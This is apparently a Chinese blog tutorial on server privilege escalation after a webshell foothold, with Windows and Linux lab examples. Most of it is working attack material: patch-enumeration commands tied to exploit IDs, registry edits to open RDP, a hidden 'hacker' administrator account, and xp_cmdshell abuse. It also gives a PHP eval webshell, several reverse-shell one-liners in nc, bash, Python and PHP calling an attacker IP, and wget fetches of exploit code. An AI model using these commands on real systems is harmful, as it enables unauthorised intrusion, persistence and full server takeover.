赞
踩
提权即提高自己在服务器中的权限,主要针对网站入侵过程中,当入侵某一网站时,通过各种漏洞提升webshell权限以夺得该服务器权限。
水平越权:指相同权限下不同的用户可以互相访问;
垂直越权:指使用权限低的用户可以访问到权限较高的用户;
比如:一个论坛网站有两个普通用户A和B,还有一个管理员C,A获得了删除B帖子的权限就是水平越权;A获得了删除C帖子的权限就是垂直越权。
水平越权测试方法:主要通过看看能否通过A用户操作影响到B用户;
垂直越权测试思路:看看低权限用户是否能越权使用高权限用户的功能,比如普通用户可以使用管理员的功能。
如果web服务器是基于 IIS 服务器, 尽量上传一个aspx的大马,因为asp脚本权限比较低,当你用asp大马执行cmd命令时,可能会出现拒绝访问。
windows提权分为:系统漏洞提权和第三方软件提权。
在aspx大马的cmd下执行查找补丁命令
systeminfo>C:\Windows\Temp\a.txt&(for %i in
(KB3057191 KB2840221 KB3000061 KB2850851
KB2711167 KB2360937 KB2478960 KB2507938
KB2566454 KB2646524 KB2645640 KB2641653
KB944653 KB952004 KB971657 KB2620712
KB2393802 KB942831 KB2503665 KB2592799
KB956572 KB977165 KB2621440) do @type
C:\Windows\Temp\a.txt | @find /i "%i" || @echo
%i Not Installed!)&del /f /q /a
C:\Windows\Temp\a.txt
结果,下图的补丁该系统均没有:
KB2360937 MS10-084 KB2478960 MS11-014 KB2507938 MS11-056 KB2566454 MS11-062 KB2646524 MS12-003 KB2645640 MS12-009 KB2641653 MS12-018 KB944653 MS07-067 KB952004 MS09-012 PR KB971657 MS09-041 KB2620712 MS11-097 KB2393802 MS11-011 kb942831 MS08-005 KB2503665 MS11-046 KB2592799 MS11-080 KB956572 MS09-012 烤肉 KB2621440 MS12-020 KB977165 MS10-015 Ms Viru KB4013081 MS17-017 KB3139914 MS16-032 KB4013081 MS17-017 KB3139914 MS16-032 KB3124280 MS16-016 KB3134228 MS16-014 KB3079904 MS15-097 KB3077657 MS15-077 KB3045171 MS15-051 KB3000061 MS14-058 KB2829361 MS13-046 KB2850851 MS13-053 EPATHOBJ 0day 限32位 KB2707511 MS12-042 sysret -pid KB2124261 KB2271195 MS10-065 IIS7 KB3198234 MS16-135 KB970483 MS09-020 IIS6 KB3031432 MS15-015
注意:如果无法上传EXP,说名该目录没有写权限,我们需要找肯定具备写权限的目录如:日志、缓存、回收站、大马所在目录等。
在大马的cmd下执行查找补丁命令
systeminfo>C:\Windows\Temp\a.txt&(for %i in
(KB3124280 KB3143141 KB3134228 KB3079904
KB3077657 KB3124280 KB3045171 KB2829361
KB3000061 KB2850851 KB2707511 KB970483
KB2124261 KB2271195) do @type
C:\Windows\Temp\a.txt | @find /i "%i" || @echo
%i Not Installed!)&del /f /q /a
C:\Windows\Temp\a.txt
查找补丁对应漏洞编号;
根据补丁编号查找EXP,这里我们使用ms15-051的exp
1)需要开启3389端口 ,创建一个.bat文件
echo Windows Registry Editor Version 5.00>>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]>>3389.reg
echo "fDenyTSConnections"=dword:00000000>>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp]>>3389.reg
echo "PortNumber" =dword :00000d3d>>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp]>>3389.reg
echo "PortNumber"=dword:00000d3d>>3389.reg
regedit /s 3389.reg
del 3389.reg
2)创建windows用户
# 创建一个hacker用户
net user hacker 123.com /add
# 将它加入administrators组
net localgroup administrators hacker /add
3)运行 mstsc.exe
成功连接!
ms SQL是指微软的SQLServer数据库服务器。
使用xp_cmdshell,执行cmd操作;xp_cmdshell是开放接口,它可以调用cmd命令,直接用SQL语句实现cmd操作。
前提:获取ms SQL sa用户的密码。
实验环境:windows 7 + SQL Server服务器。
下载对应版本的SQL Server;
启动sql server服务器;
shell:命令解释器
正向shell:主机主动连接服务器,服务器开启ssh端口;
反向Sehll:服务器主动连接主机,主机监听某一个端口;
反弹shell是基于webshell的,webshell基于http协议(请求和响应)不是持久性连接,之所以反弹是为了建立持久性连接。
NetCat是一款知名的网络工具,简称nc,有渗透测试中的“瑞士军刀”之称。它可以做端口扫描,tcp/udp连接,远程传输文件,甚至远程传输流媒体,而且还可以实现远程shell等。
linux/mac上默认安装nc,可在命令行下输入nc -h查看;windows下可下载nc.exe工具使用。
使用asp大马上传nc.exe文件到windows 2008服务器上,使用Linux自带的nc监听端口;
# 监听端口
nc -lvvp 端口号
# 执行cmd命令
nc.exe -e cmd.exe 反弹到的主机IP地址 端口号
- 注意:
如果目标使用的是套件搭建的网站如:phpstudy、xampp、wampserver等,当我们获取WebShell之后就是系统或管理员权限;如果是宝塔搭建的安全防御比较高,它禁用很多函数,我们需要考虑绕过。
Linux提权分为:利用系统漏洞提权(内核提权)和第三方软件提权。
实验环境:
目标服务器:开启80端口的CentOS 7(IP地址:192.168.40.138);
攻击端:kali(IP地址:192.168.40.131)
CentOS 7安装apache服务:yum install httpd -y
,可能当你访问网页时无法解析PHP代码,直接显示的PHP源码,解决办法:
# 1. 缺少了一个php扩展:mod_php
yum install mod_php
# 2. 在 /etc/httpd/conf目录下修改配置文件httpd.conf,在AddType application/x-gzip .gz .tgz 下面添加
AddType application/x-httpd-php .php
# 3. 在<IfModule dir_module>模块下把中间那一行改为
DirectoryIndex index.html index.htm index.php
uname -a
<?php
@eval($_REQUEST['cmd']);
?>
当前我们是apache网络用户:
反弹shell方法:
# nc -e 可用 nc -e /bin/bash 192.168.40.131 1234 # -e 参数不可用 rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.40.131 1234 >/tmp/f # bash反弹 /bin/bash >& /dev/tcp/192.168.40.131 1234 0>&1 # 命令执行漏洞常用 bash -c 'bash -i >& /dev/tcp/192.168.0.103/6666 0>&1' # python脚本反弹 import os,socket,subprocess s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(('192.168.40.131',1234)) os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) p=subprocess.call(['/bin/bash','-i']) # PHP脚本反弹 <?php $sock = fsockopen("192.168.40.131",1234); $descriptorspec = array ( 0 => $sock, 1 =>$sock, 2 => $sock ); $process = proc_open('/bin/sh', $descriptorspec,$pipes); proc_close($process); ?>
wget http://自己的web服务器+IP/脚本路径
成功反弹:
这个实验反弹shell后直接就是root权限了,但一般不是,我们还需要后面的提权操作!
python3 -c 'import pty; pty.spawn("/bin/bash")'
python -c 'import pty; pty.spawn("/bin/bash")'
Linux_Exploit_Suggester是一款根据操作系统版本号自动查找相应提权脚本的工具。
将linux-exploit-suggester.sh脚本文件上传到目标服务器
给脚本加执行权限,执行该辅助脚本,就会显示一些漏洞编号,可以尝试使用它们进行提权:
searchsploit centos 7
使用命令将漏洞脚本拷贝至当前目录下:searchsploit -m 漏洞编号
;
将拷贝得到的脚本上传至目标服务器
kali开启http服务:python -m SimpleHTTPServer 8080
,再使用wget命令下载文件。
wget http://192.168.40.131:8080/35370.c
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。